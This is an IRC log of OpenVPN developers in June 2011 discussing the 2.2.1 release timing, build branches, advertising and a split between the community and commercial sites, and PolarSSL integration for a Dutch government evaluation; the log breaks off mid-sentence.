<@mattock> it's been nearly 6 weeks since 2.2.0... is next Friday (not tomorrow) doable? 13:08 <@cron2> haven't seen any mails otherwise 13:08 <@dazo> but lets also agree on what we want to have cleaned up ... in the moment we branch out the beta/2.3 branch, I'd say we should have agreed on all new additional features 13:09 <@dazo> I'm waiting for andj to come up with the PolarSSL and doxygen patches, which we want into 2.3 13:09 <@dazo> that's the only "missing" pieces 13:09 <@mattock> have we seen any pieces yet? 13:09 <@dazo> there are also quite a few Trac tickets to look at as well 13:10 <@dazo> a preview around 2.2 beta, and he got some feedback back then, iirc 13:10 <@mattock> oh yes, that's right 13:10 <@cron2> there's some ipv6 fixes pending to make "tap" work with "push route-ipv6" 13:10 <@dazo> cron2: are that something which is waiting on me or you? 13:10 <@cron2> dazo: waiting for me to implement it :) 13:10 <@dazo> okay :) 13:10 <@cron2> (or for another volunteer, but I have my doubts that one would show up conveniently) 13:11 <@dazo> just wanted to be sure I hadn't forgotten to pull more of your stuff :) 13:11 <@cron2> nah, nothing to pull right now 13:11 <@mattock> dazo, cron2: what about 2.2.1 release date? is next week's Friday too early? 13:11 <@mattock> two weeks? 13:12 <@dazo> I'd say we could branch out beta/2.3 as soon as we got the PolarSSL stuff 13:12 <@mattock> sounds good 13:12 <@cron2> mattock: I have no idea. We have a few bugfixes, but I have not kept track and don't know whether dazo has committed everything 13:12 <@dazo> I believe those patches was promised in a bout a week or so 13:12 <@mattock> oh, that soon, great! 13:12 <@cron2> dazo: he said he would need more time due to other work projects 13:12 <@dazo> 2.2.1 release ... we might want to double check Trac 13:12 <@cron2> I said that's fine because we won't release anything before "autumnish" anyway 13:13 <@mattock> yep, except Windows snapshots 13:13 <@mattock> looking forward to those 13:13 <@mattock> should improve IPv6 testing situation noticeably 13:14 <@cron2> so any volunteers to go through trac and mailing list to see if some 2.2.1 fixes are missing? My next two weeks will be very busy - I'm out 13:14 <@mattock> I can take a look to see if there's something obvious 13:15 <@mattock> I believe we decided on which patches to include in a previous meeting 13:15 <@dazo> ticket #125, #128 and #143 are targeted 2.2.1 ... plus we have some open ones from 2.2.0 13:15 <@mattock> hmm, let's see... 13:16 <@dazo> #123, #124 and #140 are all on 2.2.0 13:16 <@dazo> two first ones are easy, documentation stuff 13:16 <@mattock> #125 is trivial and for me 13:17 <@dazo> the comp-lzo stuff is much more tricky 13:17 <@dazo> (#128) 13:17 <@mattock> #140 needs more info I think 13:18 <@dazo> agreed 13:18 <@mattock> could be "works for me" stuff 13:18 <@dazo> yeah 13:18 <@mattock> what about James' security fixes? 13:19 <@dazo> dang .... that one has slipped my mind ... 13:19 <@dazo> that was a big one as well 13:19 <@mattock> nasty merge conflicts if I recall correctly 13:19 <@dazo> well, security and security fix ... it was more a potential segfault 13:19 <@dazo> I'll try look at these things next week 13:19 <@mattock> ok, nice 13:20 <@cron2> cool 13:20 <@mattock> let's _try_ to get 2.2.1 out in two weeks, shall we? 13:20 <@dazo> James' fixes plus one or two more things 13:20 <@dazo> we can try 13:20 <@mattock> let's take another look next week 13:20 <@dazo> yeah 13:20 <@mattock> next topic? 13:20 <@cron2> winbuild-branch 13:20 <@cron2> dazo: what's the state of that? 13:21 <@cron2> you have been suspiciously quiet on that when the discussion started... 13:21 <@dazo> that's the stuff I thought we were discussing earlier today :) 13:21 <@cron2> when? So I can scroll back and read it up 13:21 <@dazo> yeah, I've been overloaded with a release at work the last two weeks, so I haven't had too much time to look at winbuild 13:21 <@dazo> 20:08 13:22 <@cron2> nah, that was distractions :-) 13:22 <@dazo> :) 13:22 <@cron2> you were talking beta/2.3, I'm talking master and tmp/winbuild 13:22 <@dazo> :) 13:22 <@cron2> which needs to be sorted out before even thinking 2.3 13:22 <@dazo> agreed 13:22 <@mattock> +1 13:22 <@dazo> mattock: what is the HEAD of your winbuild stuff? do you remember what you tried last there? 13:23 <@mattock> dazo: nope, no clue 13:23 <@mattock> it's a mess, basically 13:23 <@mattock> I think :) 13:23 <@dazo> JJO's USE_PF_INET6 by default for v2.3, is my HEAD 13:23 <@cron2> what mattock checked out was missing a fix to tun.c (which I'm not sure where it went) 13:23 <@mattock> lemme check 13:23 <@dazo> yeah 13:23 <@dazo> that I vaguely remember 13:25 <@cron2> there's two fixes to tun.c, one went to the ticket attachments and the other one didn't :-/ 13:25 <@cron2> but it's in mattock's repo now 13:25 <@mattock> it seems my HEAD is at "Fix a visual Studio 2008 build issue in socket.c" 13:25 <@dazo> mattock: okay, you're behind :) 13:26 <@dazo> unless you've applied more uncommitted stuff 13:27 <@mattock> I got to check my repos later, it's been a while 13:27 <@dazo> yeah, it has 13:27 <@mattock> tomorrow maybe 13:27 <@dazo> for me too :) 13:27 <@mattock> next topic? 13:27 <@mattock> which would be... everybody's favorite... ads 13:28 <@dazo> :) 13:28 <@mattock> I've discussed this with ecrist and dazo already in some length 13:28 <@cron2> I thought about it, and I don't think that this is a good thing 13:28 <@dazo> I'm basically fine with something not too aggressive in the README 13:28 <@cron2> it's bad enough that www.openvpn.net is basically hiding the existance of the free version quite successfully now 13:28 <@dazo> however, nowadays, it is mainly the community which drives the development 13:29 <@dazo> cron2 got a point 13:29 <@mattock> yep, that's true 13:29 <@mattock> there's no denying it 13:29 <@cron2> I would be fine with something like "if you want commercial support, this can be bought *here*" 13:30 <@dazo> yeah 13:30 <@mattock> yeah, something like that 13:30 <@cron2> that's something users and opensource community understands - "the software is free, but there is people to help me if I want to pay somebody" and that's generally accepted 13:30 <@mattock> except that we (the company) don't sell support, so we'd have to say something like "If you want a commercially supported version of OpenVPN, take a look here" 13:31 <@mattock> or something like that 13:31 <@dazo> but I also miss a clearer distinction between OpenVPN Community Edition and OpenVPN Commercial Edition - aka OpenVPN AS 13:31 <@cron2> why would I want to install a commercial product that has no v6 support? 13:31 <@mattock> cron2: good point 13:32 <@mattock> I'll mention that to Francis so we can get our priorities right :) 13:32 <@dazo> right now, the reality is that OpenVPN AS is a fork ... which is kind of a paradox 13:33 <@dazo> it is lagging behind OpenVPN 2.2 on quite some parts ... and OpenVPN 2.2 does not have everything OpenVPN AS got 13:33 <@mattock> true, that needs to be fixed a.s.a.p. 13:33 <@cron2> it's not unusual to have sort of a "free entry level product" and a "commercial product with additional features" - but indeed, there's the paradox, regarding features :) 13:33 <@dazo> OpenVPN 2.3 will have everything OpenVPN AS got + IPv6 13:33 <@cron2> \o/ 13:33 <@cron2> sorry, couldn't resist 13:33 <@dazo> :) 13:34 <@dazo> cron2: _you_ are allowed to do that ;-) 13:34 <@dazo> (2.3 == 2.2 + OpenVPN AS + IPv6, to be exact) 13:34 <@mattock> I think the guys at the company are running like hell to improve OpenVPN AS when they should stop for a while 13:34 <@cron2> mattock: just to be clear about it - the IPv6 code is donated to the project, it's GPLed, so if OpenVPN Tech wants to add it to the AS code base, I would be honoured 13:34 <@mattock> and do some plumbing work 13:35 <@mattock> cron2: I'm sure it will be added 13:35 <@cron2> (and it would make sense because it increases the user base, and creates different test cases that exposes different bugs...) 13:35 <@mattock> it's just that James and others are swamped, so they can't stop to change the shoes 13:35 <@cron2> something is wrong in OpenVPN Tech development's model 13:35 <@mattock> that said, I'm visiting the company headquarters between 2nd and 17th July 13:35 <@dazo> cool! 13:35 <@mattock> cron2: I agree 13:36 <@mattock> I hope I can figure out what the problem is and make a change 13:36 <@mattock> current development model won't work for long 13:36 <@cron2> btw, what did ecrist say regarding advertising? I could imagine ecrist and krzee being lots more sceptical than I am, due to "bad experience with the company/community fall-out in the past" 13:37 <@mattock> cron2: ecrist was sceptical, and I can't blame him 13:37 <@mattock> he's got every right for that 13:37 <@mattock> he had a very good ideas about managing AS support, which will be implemented 13:38 <@cron2> cool 13:38 <@mattock> essentially allow AS users to support themselves 13:38 <@mattock> on forums and IRC 13:38 <@dazo> I am probably more sceptical than I do say ... I do feel my stomach move when thinking about it, tbh ... but I also respect where this code base comes from and the work James have put into it ... but I'm not going to accept a one-way road forever 13:39 <@cron2> it's a delicate line that must not be crossed (and we don't know exactly where that line *is* :) ) 13:39 <@dazo> exactly ... but we're damn close to some border 13:39 <@mattock> that's why I'm asking you guys :) 13:40 <@cron2> so let's rephrase my position: I can see some use in pointing users to a commercial solution, but it needs to be discreet - and balanced. So if there's advertising in the free product, there needs to be somewhat more prominent advertising for the free product on the commercial website 13:40 <@cron2> "one-way road thingie" 13:41 <+ecrist> there may be a compromise, though. 13:41 * cron2 listens 13:42 <+ecrist> what if the community took donations for advertising, or sorts. OpenVPN Technologies could get a 'credit' to that end for providing the hosting. 13:42 <+ecrist> I would only be willing to accept that, though, if we were to ever move forward with the domain name changes that have been discussed 13:43 <@mattock> ecrist: you mean the .com/.org split? 13:43 <+ecrist> openvpn.org/.net 13:43 <@mattock> oh yes, .com is stolen :) 13:43 <+ecrist> mattock - I didn't thnk you had .com 13:43 <@mattock> we don't, some company in Las Vegas does :P 13:43 <+ecrist> it appears to be registered to a marketing company 13:44 <@dazo> I think a .org/.net split is quite appropriate 13:44 <@mattock> it would make sense, yes 13:44 <+ecrist> if we did the split, and had control of the .org domain 13:44 <@mattock> especially with such a community-driven development model as ours 13:45 <@cron2> openvpn.com looks like "parked and for sale" 13:45 <+ecrist> heh, the base price is $50,000 13:45 <+ecrist> :\ 13:45 <@mattock> they're trying to milk us 13:45 <@cron2> bastards 13:45 <@dazo> aren't there laws against such domain pirates for .com? 13:45 <@mattock> dazo: don't know 13:45 <+ecrist> probably, but the legal process costs money, too 13:46 <@cron2> if you have the trademark, you could sue them for damaging your good reputation, etc. 13:46 <@dazo> exactly 13:46 <@cron2> but anyway, this is the bottom feeders of the Internet :( 13:47 <@mattock> slightly off-topic, but do you have suggestions on how to maintain traffic to openvpn.net (commercial site) if the site is split? 13:47 <@cron2> have clearly visible links on openvpn.org 13:47 <@mattock> I would assume that 90% of traffic in openvpn.net comes there because of OpenVPN (not our products) 13:47 <+ecrist> back on-topic, I'm not opposed to advertising of corp products, but I think we (the community) need to be given autonomy, first. 13:47 * cron2 has no issues with pointing to "the other half of the code base" 13:47 <@dazo> On the community site: "Hosted by OpenVPN Technologies" and a *little* ad banner/link 13:48 <@cron2> yeah, maybe that as well 13:48 <+ecrist> "Project hosting and hardware provided by OpenVPN Technologies" <banner_ad> 13:48 <@dazo> exactly 13:49 <@mattock> sounds reasonable, given current circumstances 13:49 <@mattock> I'll bring this up with Francis... 13:50 <@mattock> the domain split issue... 13:51 <@mattock> dazo: regarding "crossing borders"... anything else besides the (potential) ads that would cross the line? 13:51 <@dazo> well, kind of "hiding" the community work, is moving it quite close to the border as wel 13:51 <@mattock> I agree with that, it's unreasonable 13:52 <@dazo> making only the commercial version the first thing you see on the web pages today, as an example 13:52 <@mattock> any particular issue? 13:52 <@mattock> ok 13:52 <@mattock> so, the website is too heavily "commercial", right? 13:53 <@dazo> as it is today, for me, yes indeed 13:53 <@mattock> hence split would make sense? 13:53 <@dazo> exactly 13:53 <+ecrist> there is a big problem where people download AS, thinking they're downloading the community version 13:53 <@mattock> makes sense 13:53 <@mattock> ecrist: even though is says "Access Server _Product_"? 13:53 <+ecrist> yup 13:53 <@dazo> and I'd probably like to change "Community project" to "Open Source [project]" ... to really highlight that 13:54 <@mattock> dazo: that'd be better 13:54 <+ecrist> I'd rather we just split things 13:54 <@mattock> that would make things simpler 13:54 <+ecrist> with a cross-link from either, "For the [commercial|open source] version, click HERE" 13:55 <@dazo> yeah, for me a split where we can have full control on the community side, respectful links from both sides to each other - without need to overly emphasis it, that's a good move for me 13:55 * dazo don't need to say more ... he agrees with ecrist :) 13:55 <+ecrist> :) 13:55 <@cron2> +2 13:55 <+ecrist> <-- just just a pretty face 13:55 <+ecrist> :D 13:56 <@mattock> dazo and I looked at examples of "split" sites and only came up with a few... 13:56 <@mattock> cron2, ecrist: anything you could share? 13:56 <@dazo> I'm still waiting for Jan Wildeboer to answer me 13:57 <@mattock> dazo: ok 13:57 <+ecrist> nope. I think we may be suited to cut our own path 13:57 <@cron2> mattock: none off the top of my head but I'm too tired to think right now 13:57 <@mattock> how would you feel about discussing this split in a joint meeting with the company guys? (not just me) 13:57 <@dazo> btw, with a split ... I also think that all the stuff in the "Community Edition" menu should be moved over to our Trac/wiki 13:57 <+ecrist> there are far too many failed corp/open-source splits out there to take bad examples from 13:58 <@mattock> ecrist: care to elaborate? 13:58 <+ecrist> MySQL 13:58 <+ecrist> 'nuff said 13:58 <+ecrist> ;) 13:58 <+ecrist> OpenSolaris 13:58 <@mattock> split being what in MySQL/OpenSolaris context? 13:58 <@cron2> MySQL actually worked out well, until Orrible came along 13:58 <@dazo> agreed 13:59 <@cron2> mattock: well, there you have "the same product, but the commercial offering is 'with fully commercial support'" 13:59 <@dazo> Sun actually began to understand quite some of what F/OSS is about 13:59 <@cron2> mmmh 13:59 <@dazo> mattock: basically, you can download Red Hat Enterprise Linux and install it and use it ... but you won't get automatic updates and support unless you pay for it 14:00 <@dazo> this model is the same for (Novell) SuSE Linux as well 14:00 <@dazo> (even though, who knows what happens with SuSE Linux with Attachmate behind the wheels) 14:01 <@mattock> I think there's a need for us (the company) to "let openvpn go" mentally... and focus on working with the project and build products on top of it 14:01 <@mattock> like everyone else 14:01 <+ecrist> I agree 100% with that 14:01 <@dazo> yes, exactly 14:01 <+ecrist> and, to be honest, is where I have been trying to steer things 14:01 <@mattock> that's going to be tough, but necessary sooner or later 14:02 <@mattock> I have no illusions about the current situation... it's very challenging for me, being in the middle 14:02 <@mattock> although I like challenges :D 14:02 <@dazo> to give a harsh comment ... the later it happens, the more likely a fork might come ... then OpenVPN suddenly needs to change their path if the community manages to move their users to the fork 14:03 <@mattock> now, how about the joint company/community meeting? 14:03 <@dazo> I'm in ... but I'd like to have ecrist and/or krzee involved as well 14:03 <@mattock> dazo: libreoffice is a good analogy... all(?) *NIX distros moved to it in ~6 months after the fork 14:03 <+ecrist> dazo: I don't think there would be a problem getting users to follow the fork, as openvpn would essentially stop getting developed. 14:04 <@dazo> ecrist: exactly :) 14:04 <@mattock> ecrist: true, given how things are now 14:04 <@dazo> mattock: yes, that's a very good example 14:04 <@cron2> meeting sounds cool, but can't promise anything yet, depends on location, timing, pricing, family, customer projects... 14:04 <+ecrist> that, and most of the hard-core users know the dev community, now 14:04 <@mattock> and openvpn _is_ very dependant on it's distribution channels 14:04 <+ecrist> really easy to point the freebsd ports tree to forkVPN. ;) 14:05 <@mattock> I've made all this very clear in my discussions with Francis... James understands this better 14:05 -!- Irssi: #openvpn-devel: Total of 15 nicks [5 ops, 0 halfops, 1 voices, 9 normal] 14:05 <@mattock> cron2: I'm thinking about virtual meeting, although a "real" meeting would be very nice 14:05 <+ecrist> fly us all to Miama or Tampa, Florida 14:05 <+ecrist> :D 14:05 <@mattock> not sure if we (the company) could cover the costs, though :) 14:05 <+ecrist> I'll buy beer 14:06 <@dazo> well, cover 50% on best price tickets ;-) 14:06 <@mattock> how about New York? 14:06 <@dazo> NYC is affordable from Europe 14:06 <@cron2> well, we have a virtual meeting every (second) week :-) - so I'm not sure what you were suggesting 14:06 <@mattock> my thoughts exactly 14:06 <@mattock> cron2: every third week, to be exact :P 14:07 <@cron2> I wouldn't expect the company to cover the costs, not something a smallish shop could easily do 14:07 <@mattock> cron2: if we could put ads to the Windows installer we sure could! :D just kidding 14:07 <@cron2> :) 14:08 <@cron2> anyway. Just a few comments on the next item, then I go to bed 14:08 <@mattock> anyways, I was thinking about a meeting with at least Francis and James attending 14:08 <@mattock> ok, let's move on 14:08 <@cron2> a) "I have no idea what the management interface does", would need to ask d21fk or James about that. 14:09 <@cron2> b) right now, there's well-defined exit codes for "OK!" and "FAIL!" but nothing more differenciated - it could be done, but given that it all exits via a common function (msg()) it's not trivially changed 14:09 <@dazo> Actually, the management interface is available on the clients before connecting ... to pass username/passwords to the daemon before connecting 14:10 <@dazo> b) is doable to change though, even though, it would require (a needed) overhaul of the whole msg()/err.[ch] stuff 14:10 <@cron2> it's doable, agreed, but it's not like "change a few exit() statements here and there" 14:10 <@dazo> yup 14:11 <@cron2> ok -> off to bed now, will be back tomorrow *yawn* 'twas a good meeting, even though the topics were really dangerous today :) 14:11 <@dazo> :) 14:11 <@mattock> I'll ask Russell what management functionality he'd need and why 14:12 <@dazo> sounds good 14:12 <@mattock> cron2: "no risk, no fun"... wise words from my previous boss :D 14:13 <@mattock> let's call it day, it's very late 14:14 <@dazo> yeah, sounds good :) 14:14 <@dazo> thx a lot everyone! 14:15 * dazo goes back to play with his new ProLiant MicroServer ... sweet little home server :) 14:44 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 14:44 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:58 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 240 seconds] 15:03 -!- dazo is now known as dazo_afk 15:14 -!- krzee [nobody@66.11.114.212] has joined #openvpn-devel 15:14 -!- krzee [nobody@66.11.114.212] has quit [Changing host] 15:14 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:25 -!- luckman212 [~do-not-re@rrcs-50-74-138-150.nyc.biz.rr.com] has joined #openvpn-devel 16:27 < luckman212> hello guys anyone know why I can't run "build-ca.bat" on Windows w/ openvpn 2.2.0 ? I get this error: http://pastebin.com/Sdkvetz8 16:27 < luckman212> tearing out what few hairs I have left 16:27 < luckman212> sorry maybe I should ask that in #openvpn 16:40 -!- luckman212 [~do-not-re@rrcs-50-74-138-150.nyc.biz.rr.com] has quit [Ping timeout: 255 seconds] 20:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds] --- Day changed Fri Jun 10 2011 01:02 -!- andj is now known as andj_afk 01:42 -!- dazo_afk is now known as dazo 02:29 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 02:30 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:30 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 03:50 -!- dazo is now known as dazo_afk 05:03 -!- dazo_afk is now known as dazo 06:18 -!- andj_afk is now known as andj 06:21 -!- andj is now known as andj_afk 07:14 <@dazo> cron2: ping 08:13 -!- andj_afk is now known as andj 08:41 <@dazo> andj: hey! how's it going with the polarssl stuff? 09:07 -!- andj is now known as andj_afk 10:50 -!- luckman212_ [luckman212@pool-74-108-1-53.nycmny.fios.verizon.net] has joined #openvpn-devel 11:09 -!- luckman212_ [luckman212@pool-74-108-1-53.nycmny.fios.verizon.net] has quit [Ping timeout: 246 seconds] 11:14 -!- dazo is now known as dazo_afk 11:21 -!- andj_afk is now known as andj 11:28 -!- luckman212_ [~do-not-re@pool-74-108-1-53.nycmny.fios.verizon.net] has joined #openvpn-devel 11:37 -!- luckman212_ [~do-not-re@pool-74-108-1-53.nycmny.fios.verizon.net] has quit [Quit: luckman212_] 12:20 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:44 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:44 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:01 <@cron2> dazo: pong? 13:06 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Remote host closed the connection] 13:21 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 13:21 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 13:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:56 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 14:58 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 255 seconds] --- Day changed Sat Jun 11 2011 00:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 00:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 07:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 08:40 -!- andj is now known as andj_afk 08:46 -!- andj_afk is now known as andj 12:06 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 12:06 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 12:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:12 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 15:20 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:20 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:38 -!- Dark-Fx [~bamcpher@dark-fx.com] has quit [Remote host closed the connection] 22:56 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel --- Day changed Sun Jun 12 2011 02:38 -!- Netsplit *.net <-> *.split quits: +krzee, @d12fk, +krzie, EvilJStoker, chantra_afk, @dazo_afk, Essobi, kisom, raidz_, Dark-Fx, (+2 more, use /NETSPLIT to show all of them) 02:43 -!- raidzx [~raidz@46-105-63-15.kimsufi.com] has joined #openvpn-devel 02:43 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 02:43 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 02:43 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 02:43 -!- ServerMode/#openvpn-devel [+o d12fk] by card.freenode.net 02:43 -!- dazol [~dazo@nat/redhat/session] has joined #openvpn-devel 02:43 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:43 -!- ServerMode/#openvpn-devel [+o cron2] by card.freenode.net 02:43 -!- dazol [~dazo@nat/redhat/session] has quit [Changing host] 02:43 -!- dazol [~dazo@nat/redhat/x-wyqsfvuvsdqewrkl] has joined #openvpn-devel 02:43 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 02:43 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 02:44 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:44 -!- ServerMode/#openvpn-devel [+vv krzie krzee] by card.freenode.net 02:44 -!- Netsplit *.net <-> *.split quits: @cron2 02:44 -!- chantra_afk [~chantra@unaffiliated/chantra] has joined #openvpn-devel 02:44 -!- Netsplit *.net <-> *.split quits: dazol 02:49 -!- equinox [~equinox@spaceboyz.net] has joined #openvpn-devel 02:49 -!- dazol [~dazo@nat/redhat/x-kwrucmnffztdcgul] has joined #openvpn-devel 02:49 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:49 -!- ServerMode/#openvpn-devel [+o cron2] by card.freenode.net 08:04 -!- d457k [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 08:04 -!- mode/#openvpn-devel [+o d457k] by ChanServ 08:05 -!- kisom_ [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 08:05 -!- kisom_ is now known as Guest13692 08:10 -!- Netsplit *.net <-> *.split quits: @d12fk, Dark-Fx, kisom 08:16 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 12:12 -!- Netsplit *.net <-> *.split quits: Guest13692, @d457k, equinox 12:43 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 12:43 -!- equinox [~equinox@spaceboyz.net] has joined #openvpn-devel 15:43 <@vpnHelper> RSS Update - testtrac: Don't define ENABLE_PUSH_PEER_INFO if SSL is not available <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=21fc2edfc49bcc903d5cfb74c1ba2f41ac8771f0> || Merge remote-tracking branch 'cron2/feat_ipv6_payload_2.3' <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=8a606673bdd4251c0db876e36e92751907816bb4> || Windows IPv6 cleanu 18:00 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 18:00 -!- geeker [~geek@c-98-246-11-112.hsd1.or.comcast.net] has joined #openvpn-devel 18:01 <@ecrist> my statements in #openvpn stand, geeker. ;) 18:01 < geeker> ecrist, I understand. May I ask my question in this channel as well? 18:02 <@ecrist> dev specific questions are encouraged, though people/attitude here is far less friendly in terms of hand-holding 18:02 < geeker> so noted. 18:02 <@ecrist> the typical response is, read the code, aside from specific questions. ;) 18:03 < geeker> Hello all, I'm looking for a couple specific points in the code: 1. the struct that provides the unencrypted openvpn frame. 2. The point just before a frame is encrypted to be sent, and 3. the point at which a frame is received just after decryption. 18:04 < geeker> Even pointing out which .c and .h file(s) to look at would be appreciated. 18:04 -!- mode/#openvpn-devel [-o ecrist] by ecrist 20:54 -!- geeker [~geek@c-98-246-11-112.hsd1.or.comcast.net] has quit [Quit: Leaving] --- Day changed Mon Jun 13 2011 02:54 <@cron2> too impatient... 05:14 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 05:14 -!- chantra [~chantra@unaffiliated/chantra] has quit [Client Quit] 06:25 -!- chantra_afk [~chantra@unaffiliated/chantra] has quit [Quit: leaving] 06:25 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 06:41 -!- chantra [~chantra@unaffiliated/chantra] has quit [Quit: leaving] 06:41 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 07:54 -!- micoder [~micoder@p5DE8DC4C.dip.t-dialin.net] has joined #openvpn-devel 07:56 -!- micoder [~micoder@p5DE8DC4C.dip.t-dialin.net] has left #openvpn-devel [] 09:14 -!- Pr0z0id [~Pr0zoid@24-246-5-196.cable.teksavvy.com] has joined #openvpn-devel 09:14 -!- Pr0z0id [~Pr0zoid@24-246-5-196.cable.teksavvy.com] has left #openvpn-devel [] 12:28 < Essobi> cron2: no kidding 12:45 <+krzie> maybe he realized his goal was no bueno 12:46 <+krzie> [15:44] <geeker> I would like to add parity support to OpenVPN to provide some loss-recovery for unstable networks like GSM 12:46 <+krzie> [15:45] <geeker> The thought is to provide a sort of streaming RAID-5 algorithm, such that n packets are xored together, and the n+1th packet is the xor packet. 12:46 <+krzie> [15:47] <geeker> Can someone point me toward OpenVPN's pre-crypto frame format? 12:46 <+krzie> [15:49] <geeker> I would like to stay within the scope of OpenVPN's protocol and extend it in the way it is designed to be extended. 12:46 <+krzie> [15:51] <EugeneKay> Uh. 12:46 <+krzie> [15:52] <EugeneKay> The mechanisms built into TCP-over-UDP already handle that. 12:46 <+krzie> [15:52] <ecrist> geeker: that's built in to TCP 12:48 < andj> hi everyone, I saw some questions about PolarSSL and timing from a few days ago? 12:51 < andj> By the way, for those interested: we've been working together with the Dutch national security communications agency, on their request, to help get OpenVPN ready for evalution 12:52 < andj> and it looks it will get approved soon for use by the Dutch government for lower classification traffic 12:52 <+ecrist> neat 12:52 < andj> Not all versions 12:53 < andj> But the PolarSSL patched version, together with a few hardening patches 12:53 < andj> (e.g. disable disabling crypto_ 12:53 <+krzie> disabling crypto!? 12:54 <+ecrist> you can do that, krzee, at build time, iirc 12:54 <+krzie> ohhh disable disabling it 12:54 < andj> :_ 12:54 < andj> :) even 12:54 < andj> The "approved" version would then be compiled and distributed through my company, Fox-IT 12:54 < andj> so that there are some guarantees as to how it's compiled for them 12:55 < andj> Thought that might be good news, adds another formal seal of approval to OpenVPN :) 12:56 <+ecrist> andj: you should probably have some sort of protocol identifier in there, to make sure that server compile doesn't allow non-compliant client connections 12:56 <+krzie> i think its great 12:56 < andj> We've thought about it, but they prefer a version that can communicate with the normal version 12:56 <+ecrist> actually, I think that would be a nice build-time option, easy to circumvent, but a quick way to keep out the riff-raff 12:57 <+krzie> ecrist, beyond tls-auth? 12:57 <+ecrist> krzie: yes 12:57 < andj> and indeed, TA closed user groups provide a similar feature 12:58 < andj> anyway. thought I'd give a heads up on that, I'll send an e-mail over openvpn-devel when it's been formally approved 12:58 < andj> with some more info 12:58 <+krzie> thanx! 12:59 < andj> Which also explains why we've been working on the PolarSSL integration... 12:59 < andj> It's a lot of fun to be able to release your work to the public domain (or at least GPL, which is close enough in this case) 13:01 <+krzie> so the dutch gov will likely have their for lower classification traffic more secure than their for higher classification traffic 13:02 < andj> no comment, other than that I'm pretty sure they know what they're doing... 13:04 <+krzie> from the same gov who has left admin passes on their webpage, i wouldnt be too overly sure ;] 13:04 < andj> That was Amsterdam municipal 13:04 < andj> or are you referring to a different incident? :) 13:07 < andj> Anyway, for Dutch speakers, it will show up here when it's approved: https://www.aivd.nl/organisatie/eenheden/nationaal-bureau/nieuws/ 13:07 <@vpnHelper> Title: AIVD - Nieuws (at www.aivd.nl) 13:07 < andj> And we'll start publishing things a while later... 13:07 <+krzie> pretty sure that was is 13:07 <+krzie> it* 13:11 < andj> Anyway, I'm heading off again. I'm hoping to start posting patches to the mailing list somewhere next week, starting with the Doxygen patches 13:22 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:22 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:28 <+krzie> why would they prefer polarssl to openssl? 13:28 < andj> Because it's much simpler :) 13:28 <+krzie> isnt openssl more tested? i see polarssl had a DH mitm bug just 4 months ago 13:29 < andj> only ever CVE 